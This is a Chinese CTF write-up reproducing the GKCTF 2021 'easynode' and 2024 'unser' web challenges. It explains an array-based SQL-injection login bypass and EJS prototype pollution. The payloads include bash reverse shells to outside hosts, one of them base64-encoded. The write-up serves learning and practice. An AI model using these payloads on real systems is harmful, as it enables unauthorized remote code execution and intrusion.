2024黄河流域比赛的复现

目录

WEB

[GKCTF 2021]easynode

unser

知识点


WEB

根据此题先复现[GKCTF 2021]easynode这个题,这两个题类似

[GKCTF 2021]easynode

1.打开页面发现是登录页面,找到源文件里面的代码,分析如何进行登录,发现经过safeQuery()函数处理,如果result[0]不为空则登陆成功返回token

app.post('/login',function(req,res,next) //这行代码定义了一个处理 POST 请求的路由,路径为 /login。当客户端向这个路径发送 POST 请求时,会执行后面的匿名函数next。
{let username = req.body.username;let password = req.body.password; //这两行代码从请求体(req.body)中提取用户名和密码。safeQuery(username,password).then //safeQuery` 很可能是一个返回 Promise 的函数,用于安全地查询用户名和密码是否匹配。这个函数可能涉及到数据库查询(result =>{if(result[0]){const token = generateToken(username)res.json({"msg":"yes","token":token});}else{res.json({"msg":"username or password wrong"});}})这部分代码是 safeQuery 函数的回调函数,它处理查询结果。如果 result[0] 是真值(可能是表示查询成功),则调用 generateToken 函数生成一个令牌,并将其与消息 "yes" 一起返回给客户端,并会出现token的值。否则,返回错误消息 "username or password wrong"。
.then(close()).catch(err=>{res.json({"msg":"something wrong!"});});}) //catch 部分用于捕获并处理任何在上述过程中发生的错误。如果发生错误,它会向客户端发送一个错误消息 "something wrong!"。

2.由于这里出现了safeQuery()函数,所以去找相关信息,在这串代码中我们发现遍历黑名单进行匹配是弱等于,那么我们可以用数组绕过

let safeQuery =  async (username,password)=>{
//这里定义了一个名为 safeQuery 的异步函数,它接受两个参数:username 和 password。const waf = (str)=>{// console.log(str);blacklist = ['\\','\^',')','(','\"','\'']blacklist.forEach(element => {if (str == element){str = "*";}});return str;} //这个函数接受一个字符串 str,然后检查它是否包含 blacklist 数组中的任何字符。如果包含,它会将该字符替换为 *。简言之就是会把username和password中的\ ^ ( ) " '字符换成*const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){if (waf(str[i]) =="*"){str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);}}return str;}
//这个函数的目的是遍历输入字符串 str 的每个字符,并检查 waf 函数是否将其替换为 *。然后将*添加到对应被替换的位置,然后str用加号进行拼接并返回username = safeStr(username);password = safeStr(password);let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));//代码尝试使用某种 format 函数(该函数在这段代码中并未定义)来构建 SQL 查询。它限制了用户名和密码的长度为前20个字符// console.log(sql);result = JSON.parse(JSON.stringify(await select(sql)));return result;
}//代码首先等待 select 函数执行 SQL 查询,并将结果转化为 JSON 字符串,然后再将其解析回一个对象。

3.但是在利用数组绕过的时候发现后面调用substr会报错。所以我们就要利用js的特性,当数组相加时会转换成字符串,利用这个特性,手动添加一个在黑名单的字符(位置在哪都行),括号被替换发生了字符串相加,payload如下:

username[]=admin'#&username=1&username=1&username=1&username=1&username=1&username=(&password=123456

为什么中间要填那么多1:如果中间字符太少遍历完数组后又依次遍历每个字符,导致单引号被替换成星号

4.进行抓包,发送请求,得到token的值

5.观察源代码,发现在/adminDIV路由中存在原型链污染

app.post("/adminDIV",async(req,res,next) =>{const token = req.cookies.tokenvar data =  JSON.parse(req.body.data)let result = verifyToken(token);if(result !='err'){username = result;var sql ='select board from board';var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); board = JSON.parse(query[0].board);console.log(board);for(var key in data){var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;extend(board,JSON.parse(addDIV));}sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`select(sql).then(close()).catch( (err)=>{console.log(err)}); res.json({"msg":'addDiv successful!!!'});}else{res.end('nonono');}
});

存在extend函数造成原型链污染,用json格式的addDIV去污染board

6.观察一下

var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;extend(board,JSON.parse(addDIV));

发现是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,所以我们就需要让 username 等于 __proto_,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token

app.post("/addAdmin",async (req,res,next) => {let username = req.body.username;let password = req.body.password;const token = req.cookies.tokenlet result = verifyToken(token);if (result !='err'){gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);select(sql).then(close()).catch( (err)=>{console.log(err)}); var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);console.log(sql);select(sql).then(close()).catch( (err)=>{console.log(err)});res.end('add admin successful!')}else{res.end('stop!!!');}
});

7.接收参数username和password进行数据库插入数据创建用户,前提是需要有正确的token。

我们利用刚刚得到admin的token去创建用户__proto__

8. 然后在login去登录,成功得到token值

由于反弹shell可能出现编码问题,我们base64加上url编码一下

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA%2BJjEi|base64 -d|bash');var __tmp2"}

 成功污染

9.然后找到调用ejs模板的/admin路由

app.get("/admin",async (req,res,next) => {const token = req.cookies.tokenlet result = verifyToken(token);if (result !='err'){username = resultvar sql = `select board from board where username = '${username}'`;var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  board = JSON.parse(query[0].board);console.log(board);const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})res.writeHead(200, {"Content-Type": "text/html"});res.end(html)} else{res.json({'msg':'stop!!!'});}
});

找到调用处

const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})

10.board参数已经被我们污染了,也就是说只要username为__proto__就行,往前看可以知道是由token决定,所以访问/admin路由,修改为__proto__的token发送即可

11.得到flag

 

unser

 1.数组绕过,从而sql注入进行用户名admin登录,拿到session以后进入第二层:

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=*&password=1

2.传参token,token只要是object就可以,两边都是undefined就通过了,得到flag:

token={"__proto__":{"flag":"1234"}}

知识点

资料:js原型链污染(超详细)-CSDN博客

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户 

【网络安全系列】JavaScript原型链污染攻击总结_shvl-CSDN博客 

浅析javascript原型链污染攻击 - 先知社区 (aliyun.com) 

1.JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。

2.可以看到,person是一个Person类的实例,有四个属性:name、age、gender、proto。其中,前三个是我们构建函数中定义的,第4个属性proto就是Person.prototype。

参考下图:
 

3.原型链污染:

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。 

4.

  1. 原型的定义:

    原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承

    (1)所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型

    (2)所有函数拥有prototype属性(显式原型)(仅限函数)

  2. 原型链的定义:

    原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

  3. 原型对象:

    在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor指向了这个函数A。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/27654.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习 - CNN

第一部分&#xff1a;基础知识 1. 什么是卷积神经网络&#xff08;CNN&#xff09; 定义和基本概念 卷积神经网络&#xff08;CNN&#xff09;是一种专门用于处理具有网格结构数据&#xff08;如图像&#xff09;的深度学习模型。它们在图像识别和计算机视觉领域表现尤为突出…

SX2106B 2A同步降压型DC/DC转换器芯片IC

一般描述 SX2106B是一款同步降压DC/DC转换器&#xff0c;提供宽广的4.5V至24V输入电压范围和2A连续负载电流能力。 SX2106B故障保护包括逐周期电流限制、UVLO、输出过电压保护和热关机。可调软启动功能&#xff0c;防止启动时的浪涌电流。该器件采用电流模式控…

R语言数据分析案例28-对数据集可视化和T检验

一、分析主题&#xff1a; 本分析旨在对数据集进行可视化和 T 检验&#xff0c;以探索数据集中的变量之间的关系和差异。通过可视化数据&#xff0c;我们可以直观地了解数据的分布和趋势&#xff0c;而 T 检验则可以帮助我们确定这些差异是否具有统计学意义。 二、具体分析 …

【字符函数】

接下来介绍部分字符函数测试 2. 字符转换函数 1.字符分类函数 1.1iscntrl 注&#xff1a;任何控制字符 检查是否有控制字符 符合为真 int main() {int i 0;char str[] "first line \n second line \n";//判断是否遇到控制字符while (!iscntrl(str[i])){p…

【Java】多态、final关键字、抽象类、抽象方法

多态(Polymorphism) 【1】多态跟属性无关&#xff0c;多态指的是方法的多态&#xff0c;而不是属性的多态。 【2】案例代入&#xff1a; public class Animal {//父类&#xff1a;动物&#xff1a; public void shout(){ System.out.println("我是小动物&am…

Qt 非圆角图片裁剪为圆角图片

将Qt非圆角图片裁剪为圆角图片,步骤如下&#xff1a; 1、按照原始图片尺寸定义一张透明的新图形 2、使用画家工具在新图形上绘制一个圆角矩形线路 3、绘制图片 4、使用圆角矩形切割图片边角 封装成函数如下&#xff1a; QPixmap Widget::getRoundedPixmap(const QPixmap srcPix…

Vue引入element-plus-04

我们这次开发是使用vue的脚手架来进行开发,前面我们已经使用过最原生的方式去编写我们的vue的语法,从今天开始就使用vue的脚手架,但是前提是你需要用于node的环境 在我们开始之前&#xff0c;我们至少需要有node npm是什么&#xff1f; npm是一个强大的包管理工具&#xff0c;它…

Halcon 多相机统一坐标系

小杨说事-基于Halcon的多相机坐标系统一原理个人理解_多相机标定统一坐标系-CSDN博客 一、概述 最近在搞多相机标定等的相关问题&#xff0c;对于很大的场景&#xff0c;单个相机的视野是不够的&#xff0c;就必须要统一到一个坐标系下&#xff0c;因此我也用了4个相机&#…

人工智能ChatGPT的多种应用:提示词工程

简介 ChatGPT 的主要优点之一是它能够理解和响应自然语言输入。在日常生活中&#xff0c;沟通本来就是很重要的一门课程&#xff0c;沟通的过程中表达的越清晰&#xff0c;给到的信息越多&#xff0c;那么沟通就越顺畅。 和 ChatGPT 沟通也是同样的道理&#xff0c;如果想要 …

推荐系统三十六式学习笔记:原理篇.矩阵分解10|那些在Netflix Prize中大放异彩的推荐算法

目录 缘起矩阵分解为什么要矩阵分解1 基础的SVD算法2 增加偏置信息3 增加历史行为4 考虑时间因素 总结 我们先前聊过推荐系统中的经典问题&#xff0c;其中有一类就是评分预测。平心而论&#xff0c;评分预测问题只是很典型&#xff0c;其实并不大众。毕竟在实际的应用中&#…

最新情侣飞行棋高阶羞羞版,解锁私密版情侣小游戏,文末有福利!

今天要跟大家聊聊一种特别有意思的游戏——情侣飞行棋羞羞版。别急着脸红&#xff0c;这可是专为情侣设计的游戏&#xff0c;让你们在轻松愉快的氛围中&#xff0c;增进了解&#xff0c;加深感情。 谈恋爱&#xff0c;不就是两个人在一起&#xff0c;做些有趣的事情吗&#xf…

Opus从入门到精通(七)Opus编码基础之认识声音

Opus从入门到精通(七)Opus编码基础之认识声音 前面我们分析完Opus的编解码api使用,封装原理等,接下来我们准备分析Opus编码原理.Opus编码是一个复杂的工作,我们需要做一些基本铺垫,包括认识声音,压缩编码基础. 认识音频有助于我们了解音频特征,不仅对语音有助于我们理解编码技…

2021年9月电子学会青少年软件编程 中小学生Python编程等级考试三级真题解析(判断题)

2021年9月Python编程等级考试三级真题解析 判断题&#xff08;共10题&#xff0c;每题2分&#xff0c;共20分&#xff09; 26、readline()执行结果为字符串&#xff0c;readlines()执行结果为列表 答案&#xff1a;对 考点分析&#xff1a;考查文件读操作&#xff0c;readli…

【leetcode--同构字符串】

要求&#xff1a;判断两个字符串的形式是不是一致&#xff0c;即是不是AABC或者ABBBCC这种。 trick&#xff1a;使用set&#xff08;&#xff09;结合zip&#xff08;&#xff09;。 set&#xff08;&#xff09;用法&#xff1a;用于创建一个不包含重复元素的集合 zip&#…

环保绩效评级:ABCD四个等级,你的企业处于哪个水平?

在当下社会&#xff0c;环保问题越来越受到人们的关注和重视。企业作为经济活动的重要参与者&#xff0c;其环保绩效评级直接关系到环境保护的成效。朗观视觉将详细解析环保绩效评级的ABCD四等级&#xff0c;帮助读者了解不同等级的特点和评判标准&#xff0c;进而引导企业提高…

大模型扫盲系列——初识大模型

本文将从大模型的原理、训练过程、prompt和相关应用介绍等方面进行分析&#xff0c;帮助读者初步了解大模型。 近年来&#xff0c;随着计算机技术和大数据的快速发展&#xff0c;深度学习在各个领域取得了显著的成果。为了提高模型的性能&#xff0c;研究者们不断尝试增加模型…

MySQL损坏,使用data恢复数据

MySQL损坏&#xff0c;重装MySQL使用data文件恢复数据库 1.清空相关注册表(清空安装残留)2.下载合适MySQL版本(与损坏数据库版本相同)3.数据恢复4.Windows server MySQL备份bat5.设置Windows定时执行 # 初始化安装 mysqld -install# 查看数据初始化密码 mysqld --initialize --…

工业 UI 风格,展现独特魅力

工业 UI 风格&#xff0c;展现独特魅力

Mysql之不使用部署在k8s集群的Mysql而是选择单独部署的Mysql的原因

测试准备&#xff1a; 线程组&#xff1a;并发数100&#xff0c;持续时间2min 两个请求&#xff1a;使用k8s集群中的mysql的wordpress对应端口30011 使用单独部署的mysql的wordpress的对应端口为30022 访问同一个博客 测试结果&#xff1a; 汇总报告&#xff1a; 响应时间图&…

HTML静态网页成品作业(HTML+CSS+JS)——游戏天天酷跑网页(4个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;使用Javacsript代码实现图片切换轮播&#xff0c;共有4个页面。 二、…